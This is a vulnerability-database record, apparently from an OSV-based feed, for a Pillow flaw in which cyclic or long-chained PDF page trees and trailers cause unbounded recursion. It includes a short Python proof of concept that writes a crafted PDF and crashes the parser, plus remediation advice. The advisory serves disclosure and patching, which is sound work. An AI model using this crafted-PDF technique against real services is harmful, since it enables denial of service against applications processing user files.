{"id":"CVE-2026-112895","aliases":["GHSA-p4wg-p73j-c528","BIT-pillow-2026-112895"],"title":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","summary":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"pillow","product":"pillow","ecosystem":"pip","affected":["pillow >= 5.1.0, < 13.0.0"],"patched":["pillow 13.0.0"],"published":"2026-10-20","updated":"2026-10-26","sourceUpdated":"2026-10-26T08:55:38.434240536Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895"},{"url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"},{"url":"https://github.com/python-pillow/Pillow"},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112895.json"},{"url":"https://access.redhat.com/security/cve/CVE-2026-112895"},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555879"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-112895"},{"url":"https://github.com/advisories/GHSA-p4wg-p73j-c528"}],"tags":["osv","pip","csaf","vex","red-hat","ghsa","cve.org"],"epss":0.00417,"epssPercentile":0.35873,"ssvc":{"exploitation":"none","automatable":"yes","technicalImpact":"partial","timestamp":"2026-10-20T15:19:07.895448Z"},"cvssSource":"vendor","cwe":["CWE-835","CWE-674"],"scores":{"vendor":7.5,"cna":8.7},"ingestedAt":"2026-10-19T22:46:42.329Z","slug":"CVE-2026-112895","body":"## Overview\n\n### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.\n\n## Affected packages\n\n- `pillow >= 5.1.0, < 13.0.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pillow 13.0.0`\n\n## Vendor advisories\n\n- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112895.json)","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[{"seq":227040,"id":"CVE-2026-112895","ts":1792585037919,"field":"cvss","old":"8.7","new":"7.5"},{"seq":226013,"id":"CVE-2026-112895","ts":1792516447446,"field":"cvss","old":"7.5","new":"8.7"},{"seq":225784,"id":"CVE-2026-112895","ts":1792498452553,"field":"cvss","old":"8.7","new":"7.5"}]}